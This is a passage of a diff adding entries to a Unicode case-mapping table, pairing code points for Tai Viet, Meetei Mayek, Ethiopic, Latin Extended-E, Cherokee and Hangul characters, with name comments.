+ [0xaadc, 0xaadc], /* TAI VIET SYMBOL NUENG */
+ [0xaadd, 0xaadd], /* TAI VIET SYMBOL SAM */
+ [0xaade, 0xaade], /* TAI VIET SYMBOL HO HOI */
+ [0xaadf, 0xaadf], /* TAI VIET SYMBOL KOI KOI */
+ [0xaae0, 0xaae0], /* MEETEI MAYEK LETTER E */
+ [0xaae1, 0xaae1], /* MEETEI MAYEK LETTER O */
+ [0xaae2, 0xaae2], /* MEETEI MAYEK LETTER CHA */
+ [0xaae3, 0xaae3], /* MEETEI MAYEK LETTER NYA */
+ [0xaae4, 0xaae4], /* MEETEI MAYEK LETTER TTA */
+ [0xaae5, 0xaae5], /* MEETEI MAYEK LETTER TTHA */
+ [0xaae6, 0xaae6], /* MEETEI MAYEK LETTER DDA */
+ [0xaae7, 0xaae7], /* MEETEI MAYEK LETTER DDHA */
+ [0xaae8, 0xaae8], /* MEETEI MAYEK LETTER NNA */
+ [0xaae9, 0xaae9], /* MEETEI MAYEK LETTER SHA */
+ [0xaaea, 0xaaea], /* MEETEI MAYEK LETTER SSA */
+ [0xaaeb, 0xaaeb], /* MEETEI MAYEK VOWEL SIGN II */
+ [0xaaec, 0xaaec], /* MEETEI MAYEK VOWEL SIGN UU */
+ [0xaaed, 0xaaed], /* MEETEI MAYEK VOWEL SIGN AAI */
+ [0xaaee, 0xaaee], /* MEETEI MAYEK VOWEL SIGN AU */
+ [0xaaef, 0xaaef], /* MEETEI MAYEK VOWEL SIGN AAU */
+ [0xaaf0, 0xaaf0], /* MEETEI MAYEK CHEIKHAN */
+ [0xaaf1, 0xaaf1], /* MEETEI MAYEK AHANG KHUDAM */
+ [0xaaf2, 0xaaf2], /* MEETEI MAYEK ANJI */
+ [0xaaf3, 0xaaf3], /* MEETEI MAYEK SYLLABLE REPETITION MARK */
+ [0xaaf4, 0xaaf4], /* MEETEI MAYEK WORD REPETITION MARK */
+ [0xaaf5, 0xaaf5], /* MEETEI MAYEK VOWEL SIGN VISARGA */
+ [0xaaf6, 0xaaf6], /* MEETEI MAYEK VIRAMA */
+ [0xaaf7, 0xaaf7],
+ [0xaaf8, 0xaaf8],
+ [0xaaf9, 0xaaf9],
+ [0xaafa, 0xaafa],
+ [0xaafb, 0xaafb],
+ [0xaafc, 0xaafc],
+ [0xaafd, 0xaafd],
+ [0xaafe, 0xaafe],
+ [0xaaff, 0xaaff],
+ [0xab00, 0xab00],
+ [0xab01, 0xab01], /* ETHIOPIC SYLLABLE TTHU */
+ [0xab02, 0xab02], /* ETHIOPIC SYLLABLE TTHI */
+ [0xab03, 0xab03], /* ETHIOPIC SYLLABLE TTHAA */
+ [0xab04, 0xab04], /* ETHIOPIC SYLLABLE TTHEE */
+ [0xab05, 0xab05], /* ETHIOPIC SYLLABLE TTHE */
+ [0xab06, 0xab06], /* ETHIOPIC SYLLABLE TTHO */
+ [0xab07, 0xab07],
+ [0xab08, 0xab08],
+ [0xab09, 0xab09], /* ETHIOPIC SYLLABLE DDHU */
+ [0xab0a, 0xab0a], /* ETHIOPIC SYLLABLE DDHI */
+ [0xab0b, 0xab0b], /* ETHIOPIC SYLLABLE DDHAA */
+ [0xab0c, 0xab0c], /* ETHIOPIC SYLLABLE DDHEE */
+ [0xab0d, 0xab0d], /* ETHIOPIC SYLLABLE DDHE */
+ [0xab0e, 0xab0e], /* ETHIOPIC SYLLABLE DDHO */
+ [0xab0f, 0xab0f],
+ [0xab10, 0xab10],
+ [0xab11, 0xab11], /* ETHIOPIC SYLLABLE DZU */
+ [0xab12, 0xab12], /* ETHIOPIC SYLLABLE DZI */
+ [0xab13, 0xab13], /* ETHIOPIC SYLLABLE DZAA */
+ [0xab14, 0xab14], /* ETHIOPIC SYLLABLE DZEE */
+ [0xab15, 0xab15], /* ETHIOPIC SYLLABLE DZE */
+ [0xab16, 0xab16], /* ETHIOPIC SYLLABLE DZO */
+ [0xab17, 0xab17],
+ [0xab18, 0xab18],
+ [0xab19, 0xab19],
+ [0xab1a, 0xab1a],
+ [0xab1b, 0xab1b],
+ [0xab1c, 0xab1c],
+ [0xab1d, 0xab1d],
+ [0xab1e, 0xab1e],
+ [0xab1f, 0xab1f],
+ [0xab20, 0xab20], /* ETHIOPIC SYLLABLE CCHHA */
+ [0xab21, 0xab21], /* ETHIOPIC SYLLABLE CCHHU */
+ [0xab22, 0xab22], /* ETHIOPIC SYLLABLE CCHHI */
+ [0xab23, 0xab23], /* ETHIOPIC SYLLABLE CCHHAA */
+ [0xab24, 0xab24], /* ETHIOPIC SYLLABLE CCHHEE */
+ [0xab25, 0xab25], /* ETHIOPIC SYLLABLE CCHHE */
+ [0xab26, 0xab26], /* ETHIOPIC SYLLABLE CCHHO */
+ [0xab27, 0xab27],
+ [0xab28, 0xab28], /* ETHIOPIC SYLLABLE BBA */
+ [0xab29, 0xab29], /* ETHIOPIC SYLLABLE BBU */
+ [0xab2a, 0xab2a], /* ETHIOPIC SYLLABLE BBI */
+ [0xab2b, 0xab2b], /* ETHIOPIC SYLLABLE BBAA */
+ [0xab2c, 0xab2c], /* ETHIOPIC SYLLABLE BBEE */
+ [0xab2d, 0xab2d], /* ETHIOPIC SYLLABLE BBE */
+ [0xab2e, 0xab2e], /* ETHIOPIC SYLLABLE BBO */
+ [0xab2f, 0xab2f],
+ [0xab30, 0xab30], /* LATIN SMALL LETTER BARRED ALPHA */
+ [0xab31, 0xab31], /* LATIN SMALL LETTER A REVERSED-SCHWA */
+ [0xab32, 0xab32], /* LATIN SMALL LETTER BLACKLETTER E */
+ [0xab33, 0xab33], /* LATIN SMALL LETTER BARRED E */
+ [0xab34, 0xab34], /* LATIN SMALL LETTER E WITH FLOURISH */
+ [0xab35, 0xab35], /* LATIN SMALL LETTER LENIS F */
+ [0xab36, 0xab36], /* LATIN SMALL LETTER SCRIPT G WITH CROSSED-TAIL */
+ [0xab37, 0xab37], /* LATIN SMALL LETTER L WITH INVERTED LAZY S */
+ [0xab38, 0xab38], /* LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE */
+ [0xab39, 0xab39], /* LATIN SMALL LETTER L WITH MIDDLE RING */
+ [0xab3a, 0xab3a], /* LATIN SMALL LETTER M WITH CROSSED-TAIL */
+ [0xab3b, 0xab3b], /* LATIN SMALL LETTER N WITH CROSSED-TAIL */
+ [0xab3c, 0xab3c], /* LATIN SMALL LETTER ENG WITH CROSSED-TAIL */
+ [0xab3d, 0xab3d], /* LATIN SMALL LETTER BLACKLETTER O */
+ [0xab3e, 0xab3e], /* LATIN SMALL LETTER BLACKLETTER O WITH STROKE */
+ [0xab3f, 0xab3f], /* LATIN SMALL LETTER OPEN O WITH STROKE */
+ [0xab40, 0xab40], /* LATIN SMALL LETTER INVERTED OE */
+ [0xab41, 0xab41], /* LATIN SMALL LETTER TURNED OE WITH STROKE */
+ [0xab42, 0xab42], /* LATIN SMALL LETTER TURNED OE WITH HORIZONTAL STROKE */
+ [0xab43, 0xab43], /* LATIN SMALL LETTER TURNED O OPEN-O */
+ [0xab44, 0xab44], /* LATIN SMALL LETTER TURNED O OPEN-O WITH STROKE */
+ [0xab45, 0xab45], /* LATIN SMALL LETTER STIRRUP R */
+ [0xab46, 0xab46], /* LATIN LETTER SMALL CAPITAL R WITH RIGHT LEG */
+ [0xab47, 0xab47], /* LATIN SMALL LETTER R WITHOUT HANDLE */
+ [0xab48, 0xab48], /* LATIN SMALL LETTER DOUBLE R */
+ [0xab49, 0xab49], /* LATIN SMALL LETTER R WITH CROSSED-TAIL */
+ [0xab4a, 0xab4a], /* LATIN SMALL LETTER DOUBLE R WITH CROSSED-TAIL */
+ [0xab4b, 0xab4b], /* LATIN SMALL LETTER SCRIPT R */
+ [0xab4c, 0xab4c], /* LATIN SMALL LETTER SCRIPT R WITH RING */
+ [0xab4d, 0xab4d], /* LATIN SMALL LETTER BASELINE ESH */
+ [0xab4e, 0xab4e], /* LATIN SMALL LETTER U WITH SHORT RIGHT LEG */
+ [0xab4f, 0xab4f], /* LATIN SMALL LETTER U BAR WITH SHORT RIGHT LEG */
+ [0xab50, 0xab50], /* LATIN SMALL LETTER UI */
+ [0xab51, 0xab51], /* LATIN SMALL LETTER TURNED UI */
+ [0xab52, 0xab52], /* LATIN SMALL LETTER U WITH LEFT HOOK */
+ [0xa7b3, 0xab53], /* LATIN SMALL LETTER CHI */
+ [0xab54, 0xab54], /* LATIN SMALL LETTER CHI WITH LOW RIGHT RING */
+ [0xab55, 0xab55], /* LATIN SMALL LETTER CHI WITH LOW LEFT SERIF */
+ [0xab56, 0xab56], /* LATIN SMALL LETTER X WITH LOW RIGHT RING */
+ [0xab57, 0xab57], /* LATIN SMALL LETTER X WITH LONG LEFT LEG */
+ [0xab58, 0xab58], /* LATIN SMALL LETTER X WITH LONG LEFT LEG AND LOW RIGHT RING */
+ [0xab59, 0xab59], /* LATIN SMALL LETTER X WITH LONG LEFT LEG WITH SERIF */
+ [0xab5a, 0xab5a], /* LATIN SMALL LETTER Y WITH SHORT RIGHT LEG */
+ [0xab5b, 0xab5b], /* MODIFIER BREVE WITH INVERTED BREVE */
+ [0xab5c, 0xab5c], /* MODIFIER LETTER SMALL HENG */
+ [0xab5d, 0xab5d], /* MODIFIER LETTER SMALL L WITH INVERTED LAZY S */
+ [0xab5e, 0xab5e], /* MODIFIER LETTER SMALL L WITH MIDDLE TILDE */
+ [0xab5f, 0xab5f], /* MODIFIER LETTER SMALL U WITH LEFT HOOK */
+ [0xab60, 0xab60], /* LATIN SMALL LETTER SAKHA YAT */
+ [0xab61, 0xab61], /* LATIN SMALL LETTER IOTIFIED E */
+ [0xab62, 0xab62], /* LATIN SMALL LETTER OPEN OE */
+ [0xab63, 0xab63], /* LATIN SMALL LETTER UO */
+ [0xab64, 0xab64], /* LATIN SMALL LETTER INVERTED ALPHA */
+ [0xab65, 0xab65], /* GREEK LETTER SMALL CAPITAL OMEGA */
+ [0xab66, 0xab66],
+ [0xab67, 0xab67],
+ [0xab68, 0xab68],
+ [0xab69, 0xab69],
+ [0xab6a, 0xab6a],
+ [0xab6b, 0xab6b],
+ [0xab6c, 0xab6c],
+ [0xab6d, 0xab6d],
+ [0xab6e, 0xab6e],
+ [0xab6f, 0xab6f],
+ [0x13a0, 0xab70], /* CHEROKEE SMALL LETTER A */
+ [0x13a1, 0xab71], /* CHEROKEE SMALL LETTER E */
+ [0x13a2, 0xab72], /* CHEROKEE SMALL LETTER I */
+ [0x13a3, 0xab73], /* CHEROKEE SMALL LETTER O */
+ [0x13a4, 0xab74], /* CHEROKEE SMALL LETTER U */
+ [0x13a5, 0xab75], /* CHEROKEE SMALL LETTER V */
+ [0x13a6, 0xab76], /* CHEROKEE SMALL LETTER GA */
+ [0x13a7, 0xab77], /* CHEROKEE SMALL LETTER KA */
+ [0x13a8, 0xab78], /* CHEROKEE SMALL LETTER GE */
+ [0x13a9, 0xab79], /* CHEROKEE SMALL LETTER GI */
+ [0x13aa, 0xab7a], /* CHEROKEE SMALL LETTER GO */
+ [0x13ab, 0xab7b], /* CHEROKEE SMALL LETTER GU */
+ [0x13ac, 0xab7c], /* CHEROKEE SMALL LETTER GV */
+ [0x13ad, 0xab7d], /* CHEROKEE SMALL LETTER HA */
+ [0x13ae, 0xab7e], /* CHEROKEE SMALL LETTER HE */
+ [0x13af, 0xab7f], /* CHEROKEE SMALL LETTER HI */
+ [0x13b0, 0xab80], /* CHEROKEE SMALL LETTER HO */
+ [0x13b1, 0xab81], /* CHEROKEE SMALL LETTER HU */
+ [0x13b2, 0xab82], /* CHEROKEE SMALL LETTER HV */
+ [0x13b3, 0xab83], /* CHEROKEE SMALL LETTER LA */
+ [0x13b4, 0xab84], /* CHEROKEE SMALL LETTER LE */
+ [0x13b5, 0xab85], /* CHEROKEE SMALL LETTER LI */
+ [0x13b6, 0xab86], /* CHEROKEE SMALL LETTER LO */
+ [0x13b7, 0xab87], /* CHEROKEE SMALL LETTER LU */
+ [0x13b8, 0xab88], /* CHEROKEE SMALL LETTER LV */
+ [0x13b9, 0xab89], /* CHEROKEE SMALL LETTER MA */
+ [0x13ba, 0xab8a], /* CHEROKEE SMALL LETTER ME */
+ [0x13bb, 0xab8b], /* CHEROKEE SMALL LETTER MI */
+ [0x13bc, 0xab8c], /* CHEROKEE SMALL LETTER MO */
+ [0x13bd, 0xab8d], /* CHEROKEE SMALL LETTER MU */
+ [0x13be, 0xab8e], /* CHEROKEE SMALL LETTER NA */
+ [0x13bf, 0xab8f], /* CHEROKEE SMALL LETTER HNA */
+ [0x13c0, 0xab90], /* CHEROKEE SMALL LETTER NAH */
+ [0x13c1, 0xab91], /* CHEROKEE SMALL LETTER NE */
+ [0x13c2, 0xab92], /* CHEROKEE SMALL LETTER NI */
+ [0x13c3, 0xab93], /* CHEROKEE SMALL LETTER NO */
+ [0x13c4, 0xab94], /* CHEROKEE SMALL LETTER NU */
+ [0x13c5, 0xab95], /* CHEROKEE SMALL LETTER NV */
+ [0x13c6, 0xab96], /* CHEROKEE SMALL LETTER QUA */
+ [0x13c7, 0xab97], /* CHEROKEE SMALL LETTER QUE */
+ [0x13c8, 0xab98], /* CHEROKEE SMALL LETTER QUI */
+ [0x13c9, 0xab99], /* CHEROKEE SMALL LETTER QUO */
+ [0x13ca, 0xab9a], /* CHEROKEE SMALL LETTER QUU */
+ [0x13cb, 0xab9b], /* CHEROKEE SMALL LETTER QUV */
+ [0x13cc, 0xab9c], /* CHEROKEE SMALL LETTER SA */
+ [0x13cd, 0xab9d], /* CHEROKEE SMALL LETTER S */
+ [0x13ce, 0xab9e], /* CHEROKEE SMALL LETTER SE */
+ [0x13cf, 0xab9f], /* CHEROKEE SMALL LETTER SI */
+ [0x13d0, 0xaba0], /* CHEROKEE SMALL LETTER SO */
+ [0x13d1, 0xaba1], /* CHEROKEE SMALL LETTER SU */
+ [0x13d2, 0xaba2], /* CHEROKEE SMALL LETTER SV */
+ [0x13d3, 0xaba3], /* CHEROKEE SMALL LETTER DA */
+ [0x13d4, 0xaba4], /* CHEROKEE SMALL LETTER TA */
+ [0x13d5, 0xaba5], /* CHEROKEE SMALL LETTER DE */
+ [0x13d6, 0xaba6], /* CHEROKEE SMALL LETTER TE */
+ [0x13d7, 0xaba7], /* CHEROKEE SMALL LETTER DI */
+ [0x13d8, 0xaba8], /* CHEROKEE SMALL LETTER TI */
+ [0x13d9, 0xaba9], /* CHEROKEE SMALL LETTER DO */
+ [0x13da, 0xabaa], /* CHEROKEE SMALL LETTER DU */
+ [0x13db, 0xabab], /* CHEROKEE SMALL LETTER DV */
+ [0x13dc, 0xabac], /* CHEROKEE SMALL LETTER DLA */
+ [0x13dd, 0xabad], /* CHEROKEE SMALL LETTER TLA */
+ [0x13de, 0xabae], /* CHEROKEE SMALL LETTER TLE */
+ [0x13df, 0xabaf], /* CHEROKEE SMALL LETTER TLI */
+ [0x13e0, 0xabb0], /* CHEROKEE SMALL LETTER TLO */
+ [0x13e1, 0xabb1], /* CHEROKEE SMALL LETTER TLU */
+ [0x13e2, 0xabb2], /* CHEROKEE SMALL LETTER TLV */
+ [0x13e3, 0xabb3], /* CHEROKEE SMALL LETTER TSA */
+ [0x13e4, 0xabb4], /* CHEROKEE SMALL LETTER TSE */
+ [0x13e5, 0xabb5], /* CHEROKEE SMALL LETTER TSI */
+ [0x13e6, 0xabb6], /* CHEROKEE SMALL LETTER TSO */
+ [0x13e7, 0xabb7], /* CHEROKEE SMALL LETTER TSU */
+ [0x13e8, 0xabb8], /* CHEROKEE SMALL LETTER TSV */
+ [0x13e9, 0xabb9], /* CHEROKEE SMALL LETTER WA */
+ [0x13ea, 0xabba], /* CHEROKEE SMALL LETTER WE */
+ [0x13eb, 0xabbb], /* CHEROKEE SMALL LETTER WI */
+ [0x13ec, 0xabbc], /* CHEROKEE SMALL LETTER WO */
+ [0x13ed, 0xabbd], /* CHEROKEE SMALL LETTER WU */
+ [0x13ee, 0xabbe], /* CHEROKEE SMALL LETTER WV */
+ [0x13ef, 0xabbf], /* CHEROKEE SMALL LETTER YA */
+ [0xabc0, 0xabc0], /* MEETEI MAYEK LETTER KOK */
+ [0xabc1, 0xabc1], /* MEETEI MAYEK LETTER SAM */
+ [0xabc2, 0xabc2], /* MEETEI MAYEK LETTER LAI */
+ [0xabc3, 0xabc3], /* MEETEI MAYEK LETTER MIT */
+ [0xabc4, 0xabc4], /* MEETEI MAYEK LETTER PA */
+ [0xabc5, 0xabc5], /* MEETEI MAYEK LETTER NA */
+ [0xabc6, 0xabc6], /* MEETEI MAYEK LETTER CHIL */
+ [0xabc7, 0xabc7], /* MEETEI MAYEK LETTER TIL */
+ [0xabc8, 0xabc8], /* MEETEI MAYEK LETTER KHOU */
+ [0xabc9, 0xabc9], /* MEETEI MAYEK LETTER NGOU */
+ [0xabca, 0xabca], /* MEETEI MAYEK LETTER THOU */
+ [0xabcb, 0xabcb], /* MEETEI MAYEK LETTER WAI */
+ [0xabcc, 0xabcc], /* MEETEI MAYEK LETTER YANG */
+ [0xabcd, 0xabcd], /* MEETEI MAYEK LETTER HUK */
+ [0xabce, 0xabce], /* MEETEI MAYEK LETTER UN */
+ [0xabcf, 0xabcf], /* MEETEI MAYEK LETTER I */
+ [0xabd0, 0xabd0], /* MEETEI MAYEK LETTER PHAM */
+ [0xabd1, 0xabd1], /* MEETEI MAYEK LETTER ATIYA */
+ [0xabd2, 0xabd2], /* MEETEI MAYEK LETTER GOK */
+ [0xabd3, 0xabd3], /* MEETEI MAYEK LETTER JHAM */
+ [0xabd4, 0xabd4], /* MEETEI MAYEK LETTER RAI */
+ [0xabd5, 0xabd5], /* MEETEI MAYEK LETTER BA */
+ [0xabd6, 0xabd6], /* MEETEI MAYEK LETTER JIL */
+ [0xabd7, 0xabd7], /* MEETEI MAYEK LETTER DIL */
+ [0xabd8, 0xabd8], /* MEETEI MAYEK LETTER GHOU */
+ [0xabd9, 0xabd9], /* MEETEI MAYEK LETTER DHOU */
+ [0xabda, 0xabda], /* MEETEI MAYEK LETTER BHAM */
+ [0xabdb, 0xabdb], /* MEETEI MAYEK LETTER KOK LONSUM */
+ [0xabdc, 0xabdc], /* MEETEI MAYEK LETTER LAI LONSUM */
+ [0xabdd, 0xabdd], /* MEETEI MAYEK LETTER MIT LONSUM */
+ [0xabde, 0xabde], /* MEETEI MAYEK LETTER PA LONSUM */
+ [0xabdf, 0xabdf], /* MEETEI MAYEK LETTER NA LONSUM */
+ [0xabe0, 0xabe0], /* MEETEI MAYEK LETTER TIL LONSUM */
+ [0xabe1, 0xabe1], /* MEETEI MAYEK LETTER NGOU LONSUM */
+ [0xabe2, 0xabe2], /* MEETEI MAYEK LETTER I LONSUM */
+ [0xabe3, 0xabe3], /* MEETEI MAYEK VOWEL SIGN ONAP */
+ [0xabe4, 0xabe4], /* MEETEI MAYEK VOWEL SIGN INAP */
+ [0xabe5, 0xabe5], /* MEETEI MAYEK VOWEL SIGN ANAP */
+ [0xabe6, 0xabe6], /* MEETEI MAYEK VOWEL SIGN YENAP */
+ [0xabe7, 0xabe7], /* MEETEI MAYEK VOWEL SIGN SOUNAP */
+ [0xabe8, 0xabe8], /* MEETEI MAYEK VOWEL SIGN UNAP */
+ [0xabe9, 0xabe9], /* MEETEI MAYEK VOWEL SIGN CHEINAP */
+ [0xabea, 0xabea], /* MEETEI MAYEK VOWEL SIGN NUNG */
+ [0xabeb, 0xabeb], /* MEETEI MAYEK CHEIKHEI */
+ [0xabec, 0xabec], /* MEETEI MAYEK LUM IYEK */
+ [0xabed, 0xabed], /* MEETEI MAYEK APUN IYEK */
+ [0xabee, 0xabee],
+ [0xabef, 0xabef],
+ [0xabf0, 0xabf0], /* MEETEI MAYEK DIGIT ZERO */
+ [0xabf1, 0xabf1], /* MEETEI MAYEK DIGIT ONE */
+ [0xabf2, 0xabf2], /* MEETEI MAYEK DIGIT TWO */
+ [0xabf3, 0xabf3], /* MEETEI MAYEK DIGIT THREE */
+ [0xabf4, 0xabf4], /* MEETEI MAYEK DIGIT FOUR */
+ [0xabf5, 0xabf5], /* MEETEI MAYEK DIGIT FIVE */
+ [0xabf6, 0xabf6], /* MEETEI MAYEK DIGIT SIX */
+ [0xabf7, 0xabf7], /* MEETEI MAYEK DIGIT SEVEN */
+ [0xabf8, 0xabf8], /* MEETEI MAYEK DIGIT EIGHT */
+ [0xabf9, 0xabf9], /* MEETEI MAYEK DIGIT NINE */
+ [0xabfa, 0xabfa],
+ [0xabfb, 0xabfb],
+ [0xabfc, 0xabfc],
+ [0xabfd, 0xabfd],
+ [0xabfe, 0xabfe],
+ [0xabff, 0xabff],
+ [0xac00, 0xac00], /* Hangul Syllable */
+ [0xac01, 0xac01], /* Hangul Syllable */
+ [0xac02, 0xac02], /* Hangul Syllable */
+ [0xac03, 0xac03], /* Hangul Syllable */
+ [0xac04, 0xac04], /* Hangul Syllable */
+ [0xac05, 0xac05], /* Hangul Syllable */
+ [0xac06, 0xac06], /* Hangul Syllable */
+ [0xac07, 0xac07], /* Hangul Syllable */
+ [0xac08, 0xac08], /* Hangul Syllable */
+ [0xac09, 0xac09], /* Hangul Syllable */
+ [0xac0a, 0xac0a], /* Hangul Syllable */
+ [0xac0b, 0xac0b], /* Hangul Syllable */
+ [0xac0c, 0xac0c], /* Hangul Syllable */
+ [0xac0d, 0xac0d], /* Hangul Syllable */
+ [0xac0e, 0xac0e], /* Hangul Syllable */
+ [0xac0f, 0xac0f], /* Hangul Syllable */
+ [0xac10, 0xac10], /* Hangul Syllable */
+ [0xac11, 0xac11], /* Hangul Syllable */
+ [0xac12, 0xac12], /* Hangul Syllable */
+ [0xac13, 0xac13], /* Hangul Syllable */
+ [0xac14, 0xac14], /* Hangul Syllable */
+ [0xac15, 0xac15], /* Hangul Syllable */
+ [0xac16, 0xac16], /* Hangul Syllable */
+ [0xac17, 0xac17], /* Hangul Syllable */
+ [0xac18, 0xac18], /* Hangul Syllable */
+ [0xac19, 0xac19], /* Hangul Syllable */
+ [0xac1a, 0xac1a], /* Hangul Syllable */
+ [0xac1b, 0xac1b], /* Hangul Syllable */
+ [0xac1c, 0xac1c], /* Hangul Syllable */
+ [0xac1d, 0xac1d], /* Hangul Syllable */
+ [0xac1e, 0xac1e], /* Hangul Syllable */
+ [0xac1f, 0xac1f], /* Hangul Syllable */
+ [0xac20, 0xac20], /* Hangul Syllable */
+ [0xac21, 0xac21], /* Hangul Syllable */
+ [0xac22, 0xac22], /* Hangul Syllable */
+ [0xac23, 0xac23], /* Hangul Syllable */
+ [0xac24, 0xac24], /* Hangul Syllable */
+ [0xac25, 0xac25], /* Hangul Syllable */
+ [0xac26, 0xac26], /* Hangul Syllable */
+ [0xac27, 0xac27], /* Hangul Syllable */
+ [0xac28, 0xac28], /* Hangul Syllable */
+ [0xac29, 0xac29], /* Hangul Syllable */
+ [0xac2a, 0xac2a], /* Hangul Syllable */
+ [0xac2b, 0xac2b], /* Hangul Syllable */
+ [0xac2c, 0xac2c], /* Hangul Syllable */
+ [0xac2d, 0xac2d], /* Hangul Syllable */
+ [0xac2e, 0xac2e], /* Hangul Syllable */
+ [0xac2f, 0xac2f], /* Hangul Syllable */
+ [0xac30, 0xac30], /* Hangul Syllable */
+ [0xac31, 0xac31], /* Hangul Syllable */
+ [0xac32, 0xac32], /* Hangul Syllable */
+ [0xac33, 0xac33], /* Hangul Syllable */
+ [0xac34, 0xac34], /* Hangul Syllable */
+ [0xac35, 0xac35], /* Hangul Syllable */
+ [0xac36, 0xac36], /* Hangul Syllable */
+ [0xac37, 0xac37], /* Hangul Syllable */
+ [0xac38, 0xac38], /* Hangul Syllable */
+ [0xac39, 0xac39], /* Hangul Syllable */
+ [0xac3a, 0xac3a], /* Hangul Syllable */
+ [0xac3b, 0xac3b], /* Hangul Syllable */
+ [0xac3c, 0xac3c], /* Hangul Syllable */
+ [0xac3d, 0xac3d], /* Hangul Syllable */
+ [0xac3e, 0xac3e], /* Hangul Syllable */
+ [0xac3f, 0xac3f], /* Hangul Syllable */
+ [0xac40, 0xac40], /* Hangul Syllable */
+ [0xac41, 0xac41], /* Hangul Syllable */
+ [0xac42, 0xac42], /* Hangul Syllable */
+ [0xac43, 0xac43], /* Hangul Syllable */
+ [0xac44, 0xac44], /* Hangul Syllable */
+ [0xac45, 0xac45], /* Hangul Syllable */
+ [0xac46, 0xac46], /* Hangul Syllable */
+ [0xac47, 0xac47], /* Hangul Syllable */
+ [0xac48, 0xac48], /* Hangul Syllable */
+ [0xac49, 0xac49], /* Hangul Syllable */
+ [0xac4a, 0xac4a], /* Hangul Syllable */
+ [0xac4b, 0xac4b], /* Hangul Syllable */
+ [0xac4c, 0xac4c], /* Hangul Syllable */
+ [0xac4d, 0xac4d], /* Hangul Syllable */
+ [0xac4e, 0xac4e], /* Hangul Syllable */
+ [0xac4f, 0xac4f], /* Hangul Syllable */
+ [0xac50, 0xac50], /* Hangul Syllable */
+ [0xac51, 0xac51], /* Hangul Syllable */
+ [0xac52, 0xac52], /* Hangul Syllable */
+ [0xac53, 0xac53], /* Hangul Syllable */
+ [0xac54, 0xac54], /* Hangul Syllable */
+ [0xac55, 0xac55], /* Hangul Syllable */
+ [0xac56, 0xac56], /* Hangul Syllable */
+ [0xac57, 0xac57], /* Hangul Syllable */
+ [0xac58, 0xac58], /* Hangul Syllable */
+ [0xac59, 0xac59], /* Hangul Syllable */
+ [0xac5a, 0xac5a], /* Hangul Syllable */
+ [0xac5b, 0xac5b], /* Hangul Syllable */
+ [0xac5c, 0xac5c], /* Hangul Syllable */
+ [0xac5d, 0xac5d], /* Hangul Syllable */
+ [0xac5e, 0xac5e], /* Hangul Syllable */
+ [0xac5f, 0xac5f], /* Hangul Syllable */
+ [0xac60, 0xac60], /* Hangul Syllable */
+ [0xac61, 0xac61], /* Hangul Syllable */
+ [0xac62, 0xac62], /* Hangul Syllable */
+ [0xac63, 0xac63], /* Hangul Syllable */
+ [0xac64, 0xac64], /* Hangul Syllable */
+ [0xac65, 0xac65], /* Hangul Syllable */
+ [0xac66, 0xac66], /* Hangul Syllable */
+ [0xac67, 0xac67], /* Hangul Syllable */
+ [0xac68, 0xac68], /* Hangul Syllable */
+ [0xac69, 0xac69], /* Hangul Syllable */
+ [0xac6a, 0xac6a], /* Hangul Syllable */
+ [0xac6b, 0xac6b], /* Hangul Syllable */
+ [0xac6c, 0xac6c], /* Hangul Syllable */
+ [0xac6d, 0xac6d], /* Hangul Syllable */
+ [0xac6e, 0xac6e], /* Hangul Syllable */
+ [0xac6f, 0xac6f], /* Hangul Syllable */
+ [0xac70, 0xac70], /* Hangul Syllable */
+ [0xac71, 0xac71], /* Hangul Syllable */
+ [0xac72, 0xac72], /* Hangul Syllable */
+ [0xac73, 0xac73], /* Hangul Syllable */
+ [0xac74, 0xac74], /* Hangul Syllable */
+ [0xac75, 0xac75], /* Hangul Syllable */
+ [0xac76, 0xac76], /* Hangul Syllable */
+ [0xac77, 0xac77], /* Hangul Syllable */
+ [0xac78, 0xac78], /* Hangul Syllable */
+ [0xac79, 0xac79], /* Hangul Syllable */
+ [0xac7a, 0xac7a], /* Hangul Syllable */
+ [0xac7b, 0xac7b], /* Hangul Syllable */
+ [0xac7c, 0xac7c], /* Hangul Syllable */
+ [0xac7d, 0xac7d], /* Hangul Syllable */
+ [0xac7e, 0xac7e], /* Hangul Syllable */
+ [0xac7f, 0xac7f], /* Hangul Syllable */
+ [0xac80, 0xac80], /* Hangul Syllable */
+ [0xac81, 0xac81], /* Hangul Syllable */
+ [0xac82, 0xac82], /* Hangul Syllable */
+ [0xac83, 0xac83], /* Hangul Syllable */
+ [0xac84, 0xac84], /* Hangul Syllable */
+ [0xac85, 0xac85], /* Hangul Syllable */
+ [0xac86, 0xac86], /* Hangul Syllable */
+ [0xac87, 0xac87], /* Hangul Syllable */
+ [0xac88, 0xac88], /* Hangul Syllable */
+ [0xac89, 0xac89], /* Hangul Syllable */
+ [0xac8a, 0xac8a], /* Hangul Syllable */
+ [0xac8b, 0xac8b], /* Hangul Syllable */
+ [0xac8c, 0xac8c], /* Hangul Syllable */
+ [0xac8d, 0xac8d], /* Hangul Syllable */
+ [0xac8e, 0xac8e], /* Hangul Syllable */
+ [0xac8f, 0xac8f], /* Hangul Syllable */
+ [0xac90, 0xac90], /* Hangul Syllable */
+ [0xac91, 0xac91], /* Hangul Syllable */
+ [0xac92, 0xac92], /* Hangul Syllable */
+ [0xac93, 0xac93], /* Hangul Syllable */
+ [0xac94, 0xac94], /* Hangul Syllable */
+ [0xac95, 0xac95], /* Hangul Syllable */
+ [0xac96, 0xac96], /* Hangul Syllable */
+ [0xac97, 0xac97], /* Hangul Syllable */
+ [0xac98, 0xac98], /* Hangul Syllable */
+ [0xac99, 0xac99], /* Hangul Syllable */
+ [0xac9a, 0xac9a], /* Hangul Syllable */
+ [0xac9b, 0xac9b], /* Hangul Syllable */
+ [0xac9c, 0xac9c], /* Hangul Syllable */
+ [0xac9d, 0xac9d], /* Hangul Syllable */
+ [0xac9e, 0xac9e], /* Hangul Syllable */
+ [0xac9f, 0xac9f], /* Hangul Syllable */
+ [0xaca0, 0xaca0], /* Hangul Syllable */
+ [0xaca1, 0xaca1], /* Hangul Syllable */
+ [0xaca2, 0xaca2], /* Hangul Syllable */
+ [0xaca3, 0xaca3], /* Hangul Syllable */
+ [0xaca4, 0xaca4], /* Hangul Syllable */
+ [0xaca5, 0xaca5], /* Hangul Syllable */
+ [0xaca6, 0xaca6], /* Hangul Syllable */
+ [0xaca7, 0xaca7], /* Hangul Syllable */
+ [0xaca8, 0xaca8], /* Hangul Syllable */
+ [0xaca9, 0xaca9], /* Hangul Syllable */
+ [0xacaa, 0xacaa], /* Hangul Syllable */
+ [0xacab, 0xacab], /* Hangul Syllable */
